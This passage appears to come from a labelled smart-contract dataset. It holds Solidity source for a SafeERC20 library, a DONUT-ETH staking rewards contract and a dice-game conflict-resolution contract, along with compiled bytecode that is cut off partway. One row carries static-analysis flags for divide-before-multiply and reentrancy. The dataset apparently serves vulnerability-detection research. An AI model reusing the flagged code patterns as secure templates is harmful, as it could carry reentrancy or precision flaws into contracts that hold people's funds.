* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/CurveRewards.sol
contract LPTokenWrapper {
uint256 public totalSupply;
IERC20 public uniswapDonutEth = IERC20(0x718Dd8B743ea19d71BDb4Cb48BB984b73a65cE06);
mapping(address => uint256) private _balances;
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint128 amount) public virtual {
require(uniswapDonutEth.transferFrom(msg.sender, address(this), amount), "DONUT-ETH transfer failed");
totalSupply += amount;
_balances[msg.sender] += amount;
emit Staked(msg.sender, amount);
}
function withdraw() public virtual {
uint256 amount = balanceOf(msg.sender);
_balances[msg.sender] = 0;
totalSupply = totalSupply-amount;
require(uniswapDonutEth.transfer(msg.sender, amount), "DONUT-ETH transfer failed");
emit Withdrawn(msg.sender, amount);
}
}
contract DonutUniswapRewards is LPTokenWrapper, Ownable {
using SafeERC20 for IERC20;
IERC20 public donut = IERC20(0xC0F9bD5Fa5698B6505F643900FFA515Ea5dF54A9);
uint256 public rewardRate;
uint64 public periodFinish;
uint64 public lastUpdateTime;
uint128 public rewardPerTokenStored;
struct UserRewards {
uint128 userRewardPerTokenPaid;
uint128 rewards;
}
mapping(address => UserRewards) public userRewards;
event RewardAdded(uint256 reward);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
uint128 _rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
rewardPerTokenStored = _rewardPerTokenStored;
userRewards[account].rewards = earned(account);
userRewards[account].userRewardPerTokenPaid = _rewardPerTokenStored;
_;
}
function lastTimeRewardApplicable() public view returns (uint64) {
uint64 blockTimestamp = uint64(block.timestamp);
return blockTimestamp < periodFinish ? blockTimestamp : periodFinish;
}
function rewardPerToken() public view returns (uint128) {
uint256 totalStakedSupply = totalSupply;
if (totalStakedSupply == 0) {
return rewardPerTokenStored;
}
uint256 rewardDuration = lastTimeRewardApplicable()-lastUpdateTime;
return uint128(rewardPerTokenStored + rewardDuration*rewardRate*1e18/totalStakedSupply);
}
function earned(address account) public view returns (uint128) {
return uint128(balanceOf(account)*(rewardPerToken()-userRewards[account].userRewardPerTokenPaid)/1e18 + userRewards[account].rewards);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint128 amount) public override updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
}
function withdraw() public override updateReward(msg.sender) {
super.withdraw();
}
function exit() external {
withdraw();
getReward();
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
userRewards[msg.sender].rewards = 0;
require(donut.transfer(msg.sender, reward), "DONUT transfer failed");
emit RewardPaid(msg.sender, reward);
}
}
function setRewardParams(uint128 reward, uint64 duration) external onlyOwner {
rewardPerTokenStored = rewardPerToken();
uint64 blockTimestamp = uint64(block.timestamp);
if (blockTimestamp >= periodFinish) {
rewardRate = reward/duration;
} else {
uint256 remaining = periodFinish-blockTimestamp;
uint256 leftover = remaining*rewardRate;
rewardRate = (reward+leftover)/duration;
}
lastUpdateTime = blockTimestamp;
periodFinish = blockTimestamp+duration;
emit RewardAdded(reward);
}
/* to be used if users vote to stop the incentive program,
also to withdraw possible airdrops and mistakenly sent uni tokens
can't touch staked uniswap LP tokens */
function recoverTokens(IERC20 token) external onlyOwner {
if(token == uniswapDonutEth) {
//unstaked balance - tokens sent directly to the contract address rather than staked
//totalSupply always <= uniswapDonutEth.balanceOf(address(this)), no overflow possible
uint256 unstakedSupply = uniswapDonutEth.balanceOf(address(this))-totalSupply;
require(unstakedSupply > 0 && uniswapDonutEth.transfer(msg.sender, unstakedSupply));
}
else {
uint256 tokenBalance = token.balanceOf(address(this));
require(tokenBalance > 0);
token.safeTransfer(msg.sender, tokenBalance);
}
}
}
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: YFIRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/ | 0x608060405234801561001057600080fd5b50600436106101765760003560e01c806380faa57d116100d8578063c8f33c911161008c578063e9fad8ee11610066578063e9fad8ee146103d5578063ebe2b12b146103dd578063f2fde38b146103e557610176565b8063c8f33c91146103bd578063cd3daf9d146103c5578063df136d65146103cd57610176565b806389ee4bde116100bd57806389ee4bde1461036e5780638da5cb5b146103ad578063c4bebec3146103b557610176565b806380faa57d1461031a57806388fe2be81461033f57610176565b80633ccfd60b1161012f57806370a082311161011457806370a08231146102d7578063715018a61461030a5780637b0a47ee1461031257610176565b80633ccfd60b146102c75780633d18b912146102cf57610176565b80630cf05d02116101605780630cf05d021461024757806316114acd1461027857806318160ddd146102ad57610176565b80628cc2621461017b5780630660f1e8146101d3575b600080fd5b6101ae6004803603602081101561019157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610418565b604080516fffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610206600480360360208110156101e957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166104a5565b60405180836fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b61024f6104e1565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6102ab6004803603602081101561028e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166104fd565b005b6102b56107d1565b60408051918252519081900360200190f35b6102ab6107d7565b6102ab6108eb565b6102b5600480360360208110156102ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b8b565b6102ab610bb3565b6102b5610ca8565b610322610cae565b6040805167ffffffffffffffff9092168252519081900360200190f35b6102ab6004803603602081101561035557600080fd5b50356fffffffffffffffffffffffffffffffff16610ce5565b6102ab6004803603604081101561038457600080fd5b5080356fffffffffffffffffffffffffffffffff16906020013567ffffffffffffffff16610e6b565b61024f61107d565b61024f611099565b6103226110b5565b6101ae6110d1565b6101ae611187565b6102ab6111b3565b6103226111c5565b6102ab600480360360208110156103fb57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166111d5565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600760205260408120546fffffffffffffffffffffffffffffffff7001000000000000000000000000000000008204811691670de0b6b3a764000091166104796110d1565b036fffffffffffffffffffffffffffffffff1661049585610b8b565b028161049d57fe5b040192915050565b6007602052600090815260409020546fffffffffffffffffffffffffffffffff8082169170010000000000000000000000000000000090041682565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60035473ffffffffffffffffffffffffffffffffffffffff16331461058357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60015473ffffffffffffffffffffffffffffffffffffffff8281169116141561070a5760008054600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b15801561061b57600080fd5b505afa15801561062f573d6000803e3d6000fd5b505050506040513d602081101561064557600080fd5b505103905080158015906106fb5750600154604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015260248101849052905173ffffffffffffffffffffffffffffffffffffffff9092169163a9059cbb916044808201926020929091908290030181600087803b1580156106ce57600080fd5b505af11580156106e2573d6000803e3d6000fd5b505050506040513d60208110156106f857600080fd5b50515b61070457600080fd5b506107ce565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561077357600080fd5b505afa158015610787573d6000803e3d6000fd5b505050506040513d602081101561079d57600080fd5b50519050806107ab57600080fd5b6107cc73ffffffffffffffffffffffffffffffffffffffff83163383611264565b505b50565b60005481565b3360006107e26110d1565b90506107ec610cae565b600680546fffffffffffffffffffffffffffffffff8085167001000000000000000000000000000000000267ffffffffffffffff9490941668010000000000000000027fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff909216919091171691909117905561086782610418565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260076020526040902080546fffffffffffffffffffffffffffffffff848116938116700100000000000000000000000000000000029116177fffffffffffffffffffffffffffffffff00000000000000000000000000000000169190911790556107cc6112f1565b3360006108f66110d1565b9050610900610cae565b600680546fffffffffffffffffffffffffffffffff8085167001000000000000000000000000000000000267ffffffffffffffff9490941668010000000000000000027fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff909216919091171691909117905561097b82610418565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260076020526040812080546fffffffffffffffffffffffffffffffff858116948116700100000000000000000000000000000000029116177fffffffffffffffffffffffffffffffff000000000000000000000000000000001692909217909155610a0133610418565b6fffffffffffffffffffffffffffffffff1690508015610b865733600081815260076020908152604080832080546fffffffffffffffffffffffffffffffff1690556004805482517fa9059cbb0000000000000000000000000000000000000000000000000000000081529182019590955260248101869052905173ffffffffffffffffffffffffffffffffffffffff9094169363a9059cbb93604480840194938390030190829087803b158015610ab857600080fd5b505af1158015610acc573d6000803e3d6000fd5b505050506040513d6020811015610ae257600080fd5b5051610b4f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f444f4e5554207472616e73666572206661696c65640000000000000000000000604482015290519081900360640190fd5b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b505050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b60035473ffffffffffffffffffffffffffffffffffffffff163314610c3957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60035460405160009173ffffffffffffffffffffffffffffffffffffffff16907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60055481565b600654600090429067ffffffffffffffff90811690821610610cdc5760065467ffffffffffffffff16610cde565b805b9150505b90565b336000610cf06110d1565b9050610cfa610cae565b600680546fffffffffffffffffffffffffffffffff8085167001000000000000000000000000000000000267ffffffffffffffff9490941668010000000000000000027fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff9092169190911716919091179055610d7582610418565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260076020526040902080546fffffffffffffffffffffffffffffffff84811693811670010000000000000000000000000000000002918116919091177fffffffffffffffffffffffffffffffff00000000000000000000000000000000169290921790558316610e6257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f43616e6e6f74207374616b652030000000000000000000000000000000000000604482015290519081900360640190fd5b610b868361145e565b60035473ffffffffffffffffffffffffffffffffffffffff163314610ef157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610ef96110d1565b600680546fffffffffffffffffffffffffffffffff9283167001000000000000000000000000000000000292169190911790819055429067ffffffffffffffff90811690821610610f84578167ffffffffffffffff16836fffffffffffffffffffffffffffffffff1681610f6957fe5b046fffffffffffffffffffffffffffffffff16600555610fc5565b60065460055467ffffffffffffffff9182168390038216919082029084166fffffffffffffffffffffffffffffffff8616820181610fbe57fe5b0460055550505b6006805483830167ffffffffffffffff9081167fffffffffffffffffffffffffffffffffffffffffffffffff000000000000000091851668010000000000000000027fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff9093169290921716179055604080516fffffffffffffffffffffffffffffffff8516815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1505050565b60035473ffffffffffffffffffffffffffffffffffffffff1690565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60065468010000000000000000900467ffffffffffffffff1681565b600080548061110a57505060065470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff16610ce2565b60065460009068010000000000000000900467ffffffffffffffff1661112e610cae565b0367ffffffffffffffff169050816005548202670de0b6b3a7640000028161115257fe5b6006546fffffffffffffffffffffffffffffffff70010000000000000000000000000000000090910416919004019250505090565b60065470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff1681565b6111bb6107d7565b6111c36108eb565b565b60065467ffffffffffffffff1681565b60035473ffffffffffffffffffffffffffffffffffffffff16331461125b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107ce816115ed565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610b869084906116e7565b60006112fc33610b8b565b3360008181526002602090815260408083208390558254859003835560015481517fa9059cbb000000000000000000000000000000000000000000000000000000008152600481019590955260248501869052905194955073ffffffffffffffffffffffffffffffffffffffff169363a9059cbb93604480820194918390030190829087803b15801561138e57600080fd5b505af11580156113a2573d6000803e3d6000fd5b505050506040513d60208110156113b857600080fd5b505161142557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f444f4e55542d455448207472616e73666572206661696c656400000000000000604482015290519081900360640190fd5b60408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b600154604080517f23b872dd0000000000000000000000000000000000000000000000000000000081523360048201523060248201526fffffffffffffffffffffffffffffffff84166044820152905173ffffffffffffffffffffffffffffffffffffffff909216916323b872dd916064808201926020929091908290030181600087803b1580156114ef57600080fd5b505af1158015611503573d6000803e3d6000fd5b505050506040513d602081101561151957600080fd5b505161158657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f444f4e55542d455448207472616e73666572206661696c656400000000000000604482015290519081900360640190fd5b600080546fffffffffffffffffffffffffffffffff8316908101825533808352600260209081526040938490208054840190558351928352925190927f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d928290030190a250565b73ffffffffffffffffffffffffffffffffffffffff8116611659576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806118a26026913960400191505060405180910390fd5b60035460405173ffffffffffffffffffffffffffffffffffffffff8084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061175057805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611713565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146117b2576040519150601f19603f3d011682016040523d82523d6000602084013e6117b7565b606091505b50915091508161182857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561189b5780806020019051602081101561184457600080fd5b505161189b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806118c8602a913960400191505060405180910390fd5b5050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220fa7e36b4f126dc0ba6e734bbf13cb9155c3ea81f9dfc61a1f9ff52ef8cc856ac64736f6c63430007010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 191 |
0xb45f36f147efe16b4926e2d181a194f0b83fa4c3 | pragma solidity ^0.4.18;
interface ConflictResolutionInterface {
function minHouseStake(uint activeGames) public pure returns(uint);
function maxBalance() public pure returns(int);
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) public pure returns(bool);
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _playerSeed
)
public
view
returns(int);
function serverForceGameEnd(
uint8 gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
returns(int);
function playerForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
returns(int);
}
contract ConflictResolution is ConflictResolutionInterface {
uint public constant DICE_RANGE = 100;
uint public constant HOUSE_EDGE = 150;
uint public constant HOUSE_EDGE_DIVISOR = 10000;
uint public constant SERVER_TIMEOUT = 6 hours;
uint public constant PLAYER_TIMEOUT = 6 hours;
uint8 public constant DICE_LOWER = 1; ///< @dev dice game lower number wins
uint8 public constant DICE_HIGHER = 2; ///< @dev dice game higher number wins
uint public constant MAX_BET_VALUE = 2e16; /// max 0.02 ether bet
uint public constant MIN_BET_VALUE = 1e13; /// min 0.00001 ether bet
int public constant NOT_ENDED_FINE = 1e15; /// 0.001 ether
int public constant MAX_BALANCE = int(MAX_BET_VALUE) * 100 * 5;
modifier onlyValidBet(uint8 _gameType, uint _betNum, uint _betValue) {
require(isValidBet(_gameType, _betNum, _betValue));
_;
}
modifier onlyValidBalance(int _balance, uint _gameStake) {
// safe to cast gameStake as range is fixed
require(-int(_gameStake) <= _balance && _balance < MAX_BALANCE);
_;
}
/**
* @dev Check if bet is valid.
* @param _gameType Game type.
* @param _betNum Number of bet.
* @param _betValue Value of bet.
* @return True if bet is valid false otherwise.
*/
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) public pure returns(bool) {
bool validValue = MIN_BET_VALUE <= _betValue && _betValue <= MAX_BET_VALUE;
bool validGame = false;
if (_gameType == DICE_LOWER) {
validGame = _betNum > 0 && _betNum < DICE_RANGE - 1;
} else if (_gameType == DICE_HIGHER) {
validGame = _betNum > 0 && _betNum < DICE_RANGE - 1;
} else {
validGame = false;
}
return validValue && validGame;
}
/**
* @return Max balance.
*/
function maxBalance() public pure returns(int) {
return MAX_BALANCE;
}
/**
* Calculate minimum needed house stake.
*/
function minHouseStake(uint activeGames) public pure returns(uint) {
return MathUtil.min(activeGames, 1) * MAX_BET_VALUE * 400;
}
/**
* @dev Calculates game result and returns new balance.
* @param _gameType Type of game.
* @param _betNum Bet number.
* @param _betValue Value of bet.
* @param _balance Current balance.
* @param _serverSeed Server's seed of current round.
* @param _playerSeed Player's seed of current round.
* @return New game session balance.
*/
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _playerSeed
)
public
view
onlyValidBet(_gameType, _betNum, _betValue)
onlyValidBalance(_balance, _stake)
returns(int)
{
assert(_serverSeed != 0 && _playerSeed != 0);
int newBalance = processBet(_gameType, _betNum, _betValue, _balance, _serverSeed, _playerSeed);
// do not allow balance below player stake
int stake = int(_stake); // safe to cast as stake range is fixed
if (newBalance < -stake) {
newBalance = -stake;
}
return newBalance;
}
/**
* @dev Force end of game if player does not respond. Only possible after a time period.
* to give the player a chance to respond.
* @param _gameType Game type.
* @param _betNum Bet number.
* @param _betValue Bet value.
* @param _balance Current balance.
* @param _stake Player stake.
* @param _endInitiatedTime Time server initiated end.
* @return New game session balance.
*/
function serverForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
onlyValidBalance(_balance, _stake)
returns(int)
{
require(_endInitiatedTime + SERVER_TIMEOUT <= block.timestamp);
require(isValidBet(_gameType, _betNum, _betValue)
|| (_gameType == 0 && _betNum == 0 && _betValue == 0 && _balance == 0));
// following casts and calculations are safe as ranges are fixed
// assume player has lost
int newBalance = _balance - int(_betValue);
// penalize player as he didn't end game
newBalance -= NOT_ENDED_FINE;
// do not allow balance below player stake
int stake = int(_stake); // safe to cast as stake range is fixed
if (newBalance < -stake) {
newBalance = -stake;
}
return newBalance;
}
/**
* @dev Force end of game if server does not respond. Only possible after a time period
* to give the server a chance to respond.
* @param _gameType Game type.
* @param _betNum Bet number.
* @param _betValue Value of bet.
* @param _balance Current balance.
* @param _endInitiatedTime Time server initiated end.
* @return New game session balance.
*/
function playerForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
onlyValidBalance(_balance, _stake)
returns(int)
{
require(_endInitiatedTime + PLAYER_TIMEOUT <= block.timestamp);
require(isValidBet(_gameType, _betNum, _betValue) ||
(_gameType == 0 && _betNum == 0 && _betValue == 0 && _balance == 0));
int profit = 0;
if (_gameType == 0 && _betNum == 0 && _betValue == 0 && _balance == 0) {
// player cancelled game without playing
profit = 0;
} else {
profit = int(calculateProfit(_gameType, _betNum, _betValue)); // safe to cast as ranges are limited
}
// penalize server as it didn't end game
profit += NOT_ENDED_FINE;
return _balance + profit;
}
/**
* @dev Calculate new balance after executing bet.
* @param _gameType game type.
* @param _betNum Bet Number.
* @param _betValue Value of bet.
* @param _balance Current balance.
* @param _serverSeed Server's seed
* @param _playerSeed Player's seed
* return new balance.
*/
function processBet(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
bytes32 _serverSeed,
bytes32 _playerSeed
)
private
pure
returns (int)
{
bool won = hasPlayerWon(_gameType, _betNum, _serverSeed, _playerSeed);
if (!won) {
return _balance - int(_betValue); // safe to cast as ranges are fixed
} else {
int profit = calculateProfit(_gameType, _betNum, _betValue);
return _balance + profit;
}
}
/**
* @dev Calculate player profit.
* @param _gameType type of game.
* @param _betNum bet numbe.
* @param _betValue bet value.
* return profit of player
*/
function calculateProfit(uint8 _gameType, uint _betNum, uint _betValue) private pure returns(int) {
uint betValueInGwei = _betValue / 1e9; // convert to gwei
int res = 0;
if (_gameType == DICE_LOWER) {
res = calculateProfitGameType1(_betNum, betValueInGwei);
} else if (_gameType == DICE_HIGHER) {
res = calculateProfitGameType2(_betNum, betValueInGwei);
} else {
assert(false);
}
return res * 1e9; // convert to wei
}
/**
* Calculate player profit from total won.
* @param _totalWon player winning in gwei.
* @return player profit in gwei.
*/
function calcProfitFromTotalWon(uint _totalWon, uint _betValue) private pure returns(int) {
// safe to multiply as _totalWon range is fixed.
uint houseEdgeValue = _totalWon * HOUSE_EDGE / HOUSE_EDGE_DIVISOR;
// safe to cast as all value ranges are fixed
return int(_totalWon) - int(houseEdgeValue) - int(_betValue);
}
/**
* @dev Calculate player profit if player has won for game type 1 (dice lower wins).
* @param _betNum Bet number of player.
* @param _betValue Value of bet in gwei.
* @return Players' profit.
*/
function calculateProfitGameType1(uint _betNum, uint _betValue) private pure returns(int) {
assert(_betNum > 0 && _betNum < DICE_RANGE);
// safe as ranges are fixed
uint totalWon = _betValue * DICE_RANGE / _betNum;
return calcProfitFromTotalWon(totalWon, _betValue);
}
/**
* @dev Calculate player profit if player has won for game type 2 (dice lower wins).
* @param _betNum Bet number of player.
* @param _betValue Value of bet in gwei.
* @return Players' profit.
*/
function calculateProfitGameType2(uint _betNum, uint _betValue) private pure returns(int) {
assert(_betNum >= 0 && _betNum < DICE_RANGE - 1);
// safe as ranges are fixed
uint totalWon = _betValue * DICE_RANGE / (DICE_RANGE - _betNum - 1);
return calcProfitFromTotalWon(totalWon, _betValue);
}
/**
* @dev Check if player hash won or lost.
* @return true if player has won.
*/
function hasPlayerWon(
uint8 _gameType,
uint _betNum,
bytes32 _serverSeed,
bytes32 _playerSeed
)
private
pure
returns(bool)
{
bytes32 combinedHash = keccak256(_serverSeed, _playerSeed);
uint randNum = uint(combinedHash);
if (_gameType == 1) {
return calculateWinnerGameType1(randNum, _betNum);
} else if (_gameType == 2) {
return calculateWinnerGameType2(randNum, _betNum);
} else {
assert(false);
}
}
/**
* @dev Calculate winner of game type 1 (roll lower).
* @param _randomNum 256 bit random number.
* @param _betNum Bet number.
* @return True if player has won false if he lost.
*/
function calculateWinnerGameType1(uint _randomNum, uint _betNum) private pure returns(bool) {
assert(_betNum > 0 && _betNum < DICE_RANGE);
uint resultNum = _randomNum % DICE_RANGE; // bias is negligible
return resultNum < _betNum;
}
/**
* @dev Calculate winner of game type 2 (roll higher).
* @param _randomNum 256 bit random number.
* @param _betNum Bet number.
* @return True if player has won false if he lost.
*/
function calculateWinnerGameType2(uint _randomNum, uint _betNum) private pure returns(bool) {
assert(_betNum >= 0 && _betNum < DICE_RANGE - 1);
uint resultNum = _randomNum % DICE_RANGE; // bias is negligible
return resultNum > _betNum;
}
}
library MathUtil {
/**
* @dev Returns the absolute value of _val.
* @param _val value
* @return The absolute value of _val.
*/
function abs(int _val) internal pure returns(uint) {
if (_val < 0) {
return uint(-_val);
} else {
return uint(_val);
}
}
/**
* @dev Calculate maximum.
*/
function max(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 >= _val2 ? _val1 : _val2;
}
/**
* @dev Calculate minimum.
*/
function min(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 <= _val2 ? _val1 : _val2;
}
} | 0x6060604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166309eecdd781146100f55780632a0763ce14610128578063353086e2146101655780635394772a14610178578063596a27351461018b57806373ad468a1461019e57806373c4726b146101b1578063834d42c6146101c75780638daaaa2f146101ef5780638eb98150146102025780639bdce04614610215578063a0dfc61f1461023e578063a99a3f0314610251578063c1e31eab14610251578063ca7140ad14610264578063def92c691461028c578063e9b32a3f1461029f575b600080fd5b341561010057600080fd5b61011460ff600435166024356044356102b2565b604051901515815260200160405180910390f35b341561013357600080fd5b61015360ff6004351660243560443560643560843560a43560c435610336565b60405190815260200160405180910390f35b341561017057600080fd5b6101536103c9565b341561018357600080fd5b6101536103d4565b341561019657600080fd5b6101536103de565b34156101a957600080fd5b6101536103e3565b34156101bc57600080fd5b6101536004356103ef565b34156101d257600080fd5b61015360ff6004351660243560443560643560843560a435610410565b34156101fa57600080fd5b6101536104c0565b341561020d57600080fd5b6101536104c5565b341561022057600080fd5b6102286104d0565b60405160ff909116815260200160405180910390f35b341561024957600080fd5b6102286104d5565b341561025c57600080fd5b6101536104da565b341561026f57600080fd5b61015360ff6004351660243560443560643560843560a4356104e0565b341561029757600080fd5b6101536105b6565b34156102aa57600080fd5b6101536105c2565b6000806000836509184e72a000111580156102d4575066470de4df8200008411155b91506000905060ff8616600114156102fd576000851180156102f65750606385105b9050610322565b60ff86166002141561031e576000851180156102f657505060638410610322565b5060005b81801561032c5750805b9695505050505050565b60008060008989896103498383836102b2565b151561035457600080fd5b89898181600003131580156103705750678ac7230489e8000082125b151561037b57600080fd5b891580159061038957508815155b151561039157fe5b61039f8f8f8f8f8e8e6105c8565b96508a9550856000038712156103b6578560000396505b50949d9c50505050505050505050505050565b66470de4df82000081565b6509184e72a00081565b606481565b678ac7230489e8000090565b600066470de4df82000061040483600161060b565b02610190029050919050565b600080600085858181600003131580156104315750678ac7230489e8000082125b151561043c57600080fd5b426154608701111561044d57600080fd5b6104588b8b8b6102b2565b80610481575060ff8b1615801561046d575089155b8015610477575088155b8015610481575087155b151561048c57600080fd5b66038d7ea4c67fff1989890301935086925060008390038